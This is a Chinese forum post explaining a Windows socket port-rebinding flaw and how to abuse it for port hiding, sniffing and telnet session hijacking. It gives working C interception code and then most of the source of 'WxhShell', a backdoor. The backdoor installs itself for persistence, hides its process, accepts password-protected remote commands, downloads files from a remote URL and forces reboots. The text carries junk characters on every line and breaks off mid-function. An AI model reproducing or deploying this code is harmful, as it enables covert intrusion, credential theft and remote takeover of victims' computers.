社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17320阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `=m[(CLb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =$bJ`GpJ  
Bmx+QO  
  saddr.sin_family = AF_INET; t][U`1>i  
e^v5ai  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vW6 a=j8  
'Br:f_}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a=ye!CN^  
#'`!*VI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MZYh44  
D#%aow'(7  
  这意味着什么?意味着可以进行如下的攻击: JFAmND;+  
pe^hOzVv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pypW  
'XW[uK]w)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "53'FRj_\  
x"g-okLN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y{ & k`H  
:~uvxiF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Yz<,`w5/6~  
V+\L@mz;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nP]tc  
Q?"o.T';  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IZ){xI  
99QMMup  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !LGnh  
ku2g FO  
  #include s |40v@ M  
  #include |W't-}yf  
  #include Wp2W:JX:  
  #include    @|I:A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R$>]7-N}  
  int main() @ P:b\WCI  
  { IE;Fu67wi  
  WORD wVersionRequested; l>(w]  
  DWORD ret; )q.Z}_,)@  
  WSADATA wsaData; ^O>G?a  
  BOOL val; Th!.=S{Y5  
  SOCKADDR_IN saddr; T6/d[SH>  
  SOCKADDR_IN scaddr; T >pz/7gb  
  int err; (I<]@7>  
  SOCKET s; f/1soGA  
  SOCKET sc; z-9@K<`H  
  int caddsize; *[ ' n8Z  
  HANDLE mt; i 4sd29v  
  DWORD tid;   D8 S?xK7[  
  wVersionRequested = MAKEWORD( 2, 2 ); @.rVg XE=!  
  err = WSAStartup( wVersionRequested, &wsaData ); ] lBe   
  if ( err != 0 ) { }Iyr u3M][  
  printf("error!WSAStartup failed!\n"); s,5SWdb\v  
  return -1;  (~59}lu~  
  } :S['hBMN  
  saddr.sin_family = AF_INET; ioIOyj  
   Drn{ucIs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Kmk}Yz  
Z`_`^ \"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8}B*a;d  
  saddr.sin_port = htons(23); Cx N]fo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G,jv Mb`+  
  { w)Rtt 9  
  printf("error!socket failed!\n"); |_<'q h  
  return -1; d3nx"=Cy0I  
  } t=-t xnlr<  
  val = TRUE; nqp:nw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /mdPYV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #F>7@N:5  
  { ^*6So3  
  printf("error!setsockopt failed!\n"); }JP0q  
  return -1; S\\3?[!p  
  } W^o* ^v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; trl:\m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZQL4<fy'E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [Ej#NHs  
\BRx dK'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UxGr+q  
  { *8QESF9  
  ret=GetLastError(); N}$$<i2o  
  printf("error!bind failed!\n"); _oV;Y`_  
  return -1; z XI [f  
  } >"OwdAvX  
  listen(s,2); 1q?b?.  
  while(1) PpxLMe]  
  { sl5y1W/]]  
  caddsize = sizeof(scaddr); -K"" 4SC2  
  //接受连接请求 }Q }&3m~g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0XkLWl|k  
  if(sc!=INVALID_SOCKET) S]Y3nI  
  { TT85G&#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %VV\biO]  
  if(mt==NULL) rNi]|)-ET  
  { $ 8"we  
  printf("Thread Creat Failed!\n"); jY~W*  
  break; +*I'!)T^B  
  } uTWij4)a  
  } y v$@i A  
  CloseHandle(mt); |8QXjzH  
  } /.knZ_aJ!  
  closesocket(s); `[OJ)tHE  
  WSACleanup(); ZWtlOP#]  
  return 0; /w!!jj^  
  }   ;)6LX-  
  DWORD WINAPI ClientThread(LPVOID lpParam) T(GEFnt Y  
  { %=ZN2)7{  
  SOCKET ss = (SOCKET)lpParam; b]-~{' +  
  SOCKET sc; F!>92H~3G  
  unsigned char buf[4096]; gI~4A,  
  SOCKADDR_IN saddr; AQUl:0!  
  long num; "8.to=Lx  
  DWORD val; _f"HUKGN  
  DWORD ret; /~8<;N>,+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %^`b)   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^~p^N <  
  saddr.sin_family = AF_INET; i 4}4U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WxLmzSz{xD  
  saddr.sin_port = htons(23); v+), uj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6w?l I  
  { +qWrm |O]  
  printf("error!socket failed!\n"); ~PTqR2x  
  return -1; gv6}GE  
  } Zb \E!>V  
  val = 100; IIZu&iZo\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wsfN \6e  
  { zL^`r)H  
  ret = GetLastError(); Kyr3)1#J  
  return -1; O_E\(So  
  } 0x N1Xm0d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u{asKUce\  
  { =DL |Q  
  ret = GetLastError(); =&!L&M<<  
  return -1; )=k8W9i8b  
  } %Voq"}}N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y=NXfTc  
  { ;Dw6pmZ  
  printf("error!socket connect failed!\n"); \*wQ%_N5  
  closesocket(sc); j O-H 1@;  
  closesocket(ss); *X_-8 ^~  
  return -1; T#o?@ ;  
  } o+w G6 9  
  while(1) '\,|B x8Q  
  { ?k 4|;DD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Iu)76Y@=5=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M%3P@GRg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &8!~H<S  
  num = recv(ss,buf,4096,0); &rc]3! B  
  if(num>0) #NvL@bH  
  send(sc,buf,num,0); 3PBGIo  
  else if(num==0) rfz\DvV d  
  break; wU"0@^k]<  
  num = recv(sc,buf,4096,0); k2-:! IE  
  if(num>0) FFG/v`NM  
  send(ss,buf,num,0); L[j73z'  
  else if(num==0) 9 rMP"td  
  break; <[oPh(!V  
  } 5z T~/6-(  
  closesocket(ss); ]Qu.-F#g  
  closesocket(sc); WGK:XfOBQ  
  return 0 ; !{WIN%O  
  } 342m=7lK  
K1_]ne)  
mDCz=pk)  
========================================================== :xBG~D  
YKWiZ  
下边附上一个代码,,WXhSHELL z{>p<)h  
2 1LJ3rW_  
========================================================== W1$<,4j@M  
HCCEIgCT  
#include "stdafx.h" &|'t>-de,  
en5sqKqh+  
#include <stdio.h> ='\Di '*  
#include <string.h> {hNvCk  
#include <windows.h> (C&Lpt_  
#include <winsock2.h> %XQ!>BeE  
#include <winsvc.h> d3IMQ_k  
#include <urlmon.h> 2_i9 q>I  
j "^V?e5  
#pragma comment (lib, "Ws2_32.lib") 2!Gb4V  
#pragma comment (lib, "urlmon.lib") O^2@9 w  
/uNgftj  
#define MAX_USER   100 // 最大客户端连接数 W5f|#{&L:  
#define BUF_SOCK   200 // sock buffer k^%Kw(/  
#define KEY_BUFF   255 // 输入 buffer c1wP/?|.>  
9_4bw9 A  
#define REBOOT     0   // 重启 nYvx[ zq?^  
#define SHUTDOWN   1   // 关机 8M~^/Zc  
}~akVh`3  
#define DEF_PORT   5000 // 监听端口 -".q=$f  
VJf|r#2  
#define REG_LEN     16   // 注册表键长度 Uc[ @]  
#define SVC_LEN     80   // NT服务名长度 ?x\tE]  
$oo`]R_   
// 从dll定义API K8R}2K-Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Z}d^$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CI}zu;4|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4H]~]?F&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g,YJh(|#{  
T`7HQf ;  
// wxhshell配置信息 oRALhaI  
struct WSCFG { Z=|NoDZ  
  int ws_port;         // 监听端口 yPmo@aw]1  
  char ws_passstr[REG_LEN]; // 口令 - Mubq  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5j{jbo =!  
  char ws_regname[REG_LEN]; // 注册表键名 r2xXS&9!|  
  char ws_svcname[REG_LEN]; // 服务名 C-:lM1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HO`N]AMw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CC~:z/4,N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +%'!+r l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no en?J#fz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L T2UY*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |n/qJIE6  
!%lcn O  
}; qx;8Hq(E[  
ALO0yc  
// default Wxhshell configuration })#SjFq<V  
struct WSCFG wscfg={DEF_PORT, /E32^o|,>  
    "xuhuanlingzhe", *%#Sa~iPo  
    1, zF([{5r[!)  
    "Wxhshell", o]jPG  
    "Wxhshell", ?B5934X  
            "WxhShell Service",  <j<V{Wc  
    "Wrsky Windows CmdShell Service", {: H&2iF  
    "Please Input Your Password: ", |({ M8!BS  
  1, qrw"z iW  
  "http://www.wrsky.com/wxhshell.exe", ih[!v"bv  
  "Wxhshell.exe" $.0l% $7  
    }; Pqtk1=U  
xk/osbKn  
// 消息定义模块 3&tJD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c*~ /`lG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1v M'yr$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5X1z^(   
char *msg_ws_ext="\n\rExit."; u &qFE=5:  
char *msg_ws_end="\n\rQuit."; Al0ls  
char *msg_ws_boot="\n\rReboot..."; `J v~.EF%  
char *msg_ws_poff="\n\rShutdown..."; >[A7oH  
char *msg_ws_down="\n\rSave to "; )b7;w#%q  
^K]`ZQjKC  
char *msg_ws_err="\n\rErr!"; ,'%wadOo  
char *msg_ws_ok="\n\rOK!"; m,X8Cy|vQ  
uA]!y{"}J  
char ExeFile[MAX_PATH]; e,cSB!7  
int nUser = 0; 4Y/kf%]]A  
HANDLE handles[MAX_USER]; AW')*{/(Ii  
int OsIsNt; Fo:60)Lr  
7J6D wh{  
SERVICE_STATUS       serviceStatus; {Y7dE?!`7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,jc')#]9B  
- fx?@  
// 函数声明 Gdu5 &]H#6  
int Install(void); )a=58r07  
int Uninstall(void); qZwqnH  
int DownloadFile(char *sURL, SOCKET wsh); l =X6m(  
int Boot(int flag); z,+LPr  
void HideProc(void); 6VQe?oh  
int GetOsVer(void);  z:p;Wm  
int Wxhshell(SOCKET wsl); 'lIj89h<E  
void TalkWithClient(void *cs); U1y8Y/  
int CmdShell(SOCKET sock); T4fVZd)x  
int StartFromService(void); v\}s(X(J  
int StartWxhshell(LPSTR lpCmdLine); >oHgs  
Q?xCb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q,% lG$0v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g-8D1.U  
+!JTEKHKH  
// 数据结构和表定义 gZW(z  
SERVICE_TABLE_ENTRY DispatchTable[] = M8y:FDX  
{ VsjE*AJpe  
{wscfg.ws_svcname, NTServiceMain}, 6!T9VL\=H  
{NULL, NULL} .kf FaK  
}; (M;jnQ0  
Po*G/RKu4W  
// 自我安装 ;_dOYG1  
int Install(void) 98ot{+/LK  
{ -`s_md0BM  
  char svExeFile[MAX_PATH]; AbA_s I<;  
  HKEY key; !V~,aoKTj  
  strcpy(svExeFile,ExeFile); g)`;m%DG6  
T? e(m  
// 如果是win9x系统,修改注册表设为自启动 2qgm(jo *y  
if(!OsIsNt) { y{k65dk-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `"s*'P398  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (O-.^VV  
  RegCloseKey(key); $TZjSZ1w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #e*jP&1S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9%& =n  
  RegCloseKey(key); ?K!^[aO}=  
  return 0; /t|Lu@&:Xo  
    } HOSt0IHzty  
  } *$ kpSph  
} kW4B @Zh  
else { uWjSqyb:  
+L hV4@zC  
// 如果是NT以上系统,安装为系统服务 /3KPK4!m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |x+g5~$  
if (schSCManager!=0) jxdX7aik  
{ NjH` AMGBT  
  SC_HANDLE schService = CreateService A9 ;!\Wo  
  ( r>,s-T!7  
  schSCManager, f=T-4Of  
  wscfg.ws_svcname, w,!IvDCAw  
  wscfg.ws_svcdisp, Y2d(HD@  
  SERVICE_ALL_ACCESS, H[o >"@4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Iz{@Ep*  
  SERVICE_AUTO_START, nmWo:ox4;(  
  SERVICE_ERROR_NORMAL, AO~f=GW  
  svExeFile, k%Wj+\93 f  
  NULL, EC`=nGF  
  NULL, -PiakX  
  NULL, Q`)iy/1M  
  NULL, iY;>LJmp  
  NULL %/}46z9\  
  ); mzm{p(.  
  if (schService!=0) uFYcVvbT@  
  { i1JVvNMQ,  
  CloseServiceHandle(schService); 0?Bv zfb  
  CloseServiceHandle(schSCManager); >)*0lfxTZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]WvV*FL9D3  
  strcat(svExeFile,wscfg.ws_svcname); S>;+zVF]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >XJUj4B|X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1haNpLfS>  
  RegCloseKey(key); `_+%  
  return 0; pQCocy  
    } PR3&LI;B*  
  } PdqyNn=  
  CloseServiceHandle(schSCManager); ZE:!>VXa87  
} QruclNW{Bv  
} ?^gq  
>!3r7LgK  
return 1; ;)23@6{R%  
} $i|d=D&t  
 wzf  
// 自我卸载 pB:/oHV  
int Uninstall(void) 0Z1';A3  
{ Id^)WEK4  
  HKEY key; &HB!6T/  
| {Tq/  
if(!OsIsNt) { W4p4[&c|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qpocj:  
  RegDeleteValue(key,wscfg.ws_regname); $nqVE{ksV  
  RegCloseKey(key); YLv5[pV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VM}7 ~  
  RegDeleteValue(key,wscfg.ws_regname); RMs+pN<5  
  RegCloseKey(key); C+%6N@  
  return 0; PrhGp _5  
  } _^@>I8ix  
} ["WWaCcx  
} U28frRa  
else { "_ H 9]}Q  
T!X`"rI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +!cibTQTT  
if (schSCManager!=0) 1b,MJ~g$  
{ w&x$RP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dZ|x `bIgs  
  if (schService!=0) iI Dun Ih  
  { ,FL*Z9wA  
  if(DeleteService(schService)!=0) { 3YD.Fjz$  
  CloseServiceHandle(schService); xQDWnpFc  
  CloseServiceHandle(schSCManager); #<DS-^W!  
  return 0; x4XCR,-  
  } dLbSvK<(I  
  CloseServiceHandle(schService); yYiu69v  
  } V*gh"gZ<  
  CloseServiceHandle(schSCManager); _)ZxD--Qg  
} ;T :]?5W!  
} pEq }b+-  
in7h^6?I  
return 1; 2" u,f  
} PW+B&7{  
0]xp"xOwW  
// 从指定url下载文件 MW|R)gt  
int DownloadFile(char *sURL, SOCKET wsh) +vIsYg*#2M  
{ O,Ej m<nt  
  HRESULT hr; s"~3.J  
char seps[]= "/"; O+"a 0:GM  
char *token; q0{_w  
char *file; +1nzyD_E  
char myURL[MAX_PATH]; W H%EC$  
char myFILE[MAX_PATH]; >e!Y63`  
.'bhRQY  
strcpy(myURL,sURL); ^{a_:r"  
  token=strtok(myURL,seps); zs.@=Z"  
  while(token!=NULL) d}<-G.&_  
  { (bAw>  
    file=token; d' l|oeS  
  token=strtok(NULL,seps); CU@}{}Yl  
  } dWP<,Z>  
TTGWOC  
GetCurrentDirectory(MAX_PATH,myFILE); \)i,`bz  
strcat(myFILE, "\\"); 5Z`f .}^w  
strcat(myFILE, file); H'}6Mw%ra  
  send(wsh,myFILE,strlen(myFILE),0); jI%glO'2  
send(wsh,"...",3,0); *iVE O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hv*XuT/  
  if(hr==S_OK) r7FpR!  
return 0; "R]wPF5u  
else '"T9y=9]s  
return 1; ;_#<a*f  
M9~6ry-_  
} 1s.>_  
(0["|h32,  
// 系统电源模块 7Y5.GW\^  
int Boot(int flag) N(%(B  
{ M9Xq0BBu  
  HANDLE hToken; sh*/wM  
  TOKEN_PRIVILEGES tkp; ?5;N=\GQ  
RZ|M;c  
  if(OsIsNt) { C!U$<_I\2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); > D%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ! ~tf0aY  
    tkp.PrivilegeCount = 1; Q5HSik4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XTRF IY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]CDUHz  
if(flag==REBOOT) { uH)?`I\zrd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7^<6|>j4  
  return 0; 3mhjwgP<nn  
} i,wZNX  
else { G5ShheZd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u82(`+B  
  return 0; J,J6bfR/  
} beB3*o  
  } [\rzXE  
  else { ]3~ u @6  
if(flag==REBOOT) { Y h53Z"a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J-qUJX~4c  
  return 0; 6!SW]#sD  
} O8~RfB  
else { L{oG'aK4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &ET$ca`j#  
  return 0; $Z3{D:-)  
} QH_Ds,oH=  
} v#?;PyeF  
 dZX;k0  
return 1; 'Y/kF1,*  
} &Q*  7  
3taGb>15  
// win9x进程隐藏模块 ^6J*:(eM  
void HideProc(void) *4%%^*g.I  
{ A0OA7m:~4  
Eihy|p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "]|7%]  
  if ( hKernel != NULL ) 7A h   
  { ^7yaM B!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hkdF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MRg Ozg  
    FreeLibrary(hKernel); 2@IL  n+#  
  } %cBOi_}}~  
1Vc~Sa  
return; _mJhY0Oc  
} tu(^D23  
_l+C0lQl=  
// 获取操作系统版本 bGkLa/?S  
int GetOsVer(void) 56 Z  
{ E#,\[<pc  
  OSVERSIONINFO winfo; U8-OQ:2.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _%Yi ^^  
  GetVersionEx(&winfo); kP'm$+1or  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p:W{c/tV  
  return 1; H>},{ z  
  else hy>0'$mU  
  return 0; )5n:UD{f[#  
} Q @[gj:w  
O<#8R\v  
// 客户端句柄模块 p5% %k-  
int Wxhshell(SOCKET wsl) 'Lw8l `7  
{ mn\A)R Q  
  SOCKET wsh; OMM5ALc(F  
  struct sockaddr_in client; 5=I"bnIU  
  DWORD myID; 62MQ+H  
wqT9m*VK  
  while(nUser<MAX_USER) |3 Iug  
{ [4aw*M1z}.  
  int nSize=sizeof(client); @4MQ021(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oo BBg@  
  if(wsh==INVALID_SOCKET) return 1; S^ D7}  
*?$M=tH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n`@dk_%yI  
if(handles[nUser]==0) gf?N(,  
  closesocket(wsh); i=1crJ:  
else EJRkFn8XG'  
  nUser++; Ke=+D'=  
  } 6kMkFZ}+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aGfp"NtL  
e]CoYuPr  
  return 0; "R=~-, ~  
} |,~ )/o_R  
a>rDJw:  
// 关闭 socket e6bh,BwgQq  
void CloseIt(SOCKET wsh) OhMJt&s9P=  
{ DycXJ3eQ  
closesocket(wsh); y. 1F@w|  
nUser--; y/kB`Z(Yj  
ExitThread(0); QleVW  
} z@w}+fYO  
JZ~wacDd  
// 客户端请求句柄 %n GjP^  
void TalkWithClient(void *cs) 4Gh\T`=  
{ <=D  a  
~MXhp5PI   
  SOCKET wsh=(SOCKET)cs; bo(w$& VW  
  char pwd[SVC_LEN]; BFg&@7.X  
  char cmd[KEY_BUFF]; !s?SI=B8  
char chr[1]; ,,+4d :8$  
int i,j; 8ICV"8(  
6GPI gPL,  
  while (nUser < MAX_USER) { wW/q#kc  
X/90S2=P  
if(wscfg.ws_passstr) { c8Ud<M .  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;E[Q/ tr:w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V"'PA-z3  
  //ZeroMemory(pwd,KEY_BUFF); p Pag@L  
      i=0; gu%i|-}  
  while(i<SVC_LEN) { k3nvML,bv  
.Gvk5Wn  
  // 设置超时 , ,ng]&%i  
  fd_set FdRead; eV/oY1B]<  
  struct timeval TimeOut; Dte5g),R  
  FD_ZERO(&FdRead); HyOrAv <  
  FD_SET(wsh,&FdRead); UqyW8TCf?  
  TimeOut.tv_sec=8; awvP;F?q|  
  TimeOut.tv_usec=0; @6UZC-M0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >T c\~l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s;=C&N5g  
-u4")V>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +4 Pes  
  pwd=chr[0]; R dwt4A+  
  if(chr[0]==0xd || chr[0]==0xa) { b GI){0A  
  pwd=0; %''L7o.#a  
  break; Mp>(cs  
  } 3 u4Q!U%(D  
  i++; U%q6n"[ Cr  
    } tl\<:8pI"  
{ V[}#Mf  
  // 如果是非法用户,关闭 socket J|DZi2o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -W<1BJE  
} Gyy4zK  
_ZFEo< `'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  o kA<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %D8.uGsh  
3+s$K(%I  
while(1) { S*|/txE'~Y  
\!BVf@>p%  
  ZeroMemory(cmd,KEY_BUFF); 1^E5VG1[  
{jmy:e2  
      // 自动支持客户端 telnet标准   3l41"5Fy&  
  j=0; GGr82)E  
  while(j<KEY_BUFF) { 2 \}J*0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8.8t$  
  cmd[j]=chr[0]; m&gB;g3:  
  if(chr[0]==0xa || chr[0]==0xd) { ]d@>vzCO  
  cmd[j]=0; 6hv.;n};  
  break; Bt(<Xj D  
  } Up'#OkTx  
  j++; {7@*cB qN  
    } s</qT6@  
6 h,!;`8O  
  // 下载文件 3NDddrL9  
  if(strstr(cmd,"http://")) { ^]D1':  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n=C"pH#  
  if(DownloadFile(cmd,wsh)) m,!SD Cq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  fFqYRK  
  else @sA!o[gH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?6&8-zt1?  
  } F]UH\1  
  else { :S_]!'H  
{&mH fN  
    switch(cmd[0]) { >h#w~@e::  
  Es)|#0m\x@  
  // 帮助 Y$\|rD^f  
  case '?': { _/noWwVu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O0xqA\  
    break; $ P?^GB>u  
  } 3]*1%=~X/  
  // 安装 I 4?oBq  
  case 'i': { /\h*v!:  
    if(Install()) ?_^{9q%9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q N#bd~  
    else /OzoeI t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =3w;<1 ?'  
    break; 9 %4:eTcp  
    }  ;tZQ9#S  
  // 卸载 ^PezV5(  
  case 'r': { 4fC:8\A  
    if(Uninstall()) ?SElJ? Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `HkNO@N[  
    else 3u$1W@T(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CssE8p>"F  
    break; usD@4!PoA  
    } -Z$u[L [c  
  // 显示 wxhshell 所在路径 aE 9Y |6  
  case 'p': { =!^ gQ0~4  
    char svExeFile[MAX_PATH]; QO(F%&v++  
    strcpy(svExeFile,"\n\r"); !p/?IW+  
      strcat(svExeFile,ExeFile); ?`rAO#1  
        send(wsh,svExeFile,strlen(svExeFile),0); VDbbA\  
    break; v#/Gxk9eX  
    } @|c])  
  // 重启 QR'#]k;>%  
  case 'b': { w"s@q$}]8M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FZj>N(  
    if(Boot(REBOOT)) qE8aX*A1/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #xw*;hW<  
    else { !h7.xl OpN  
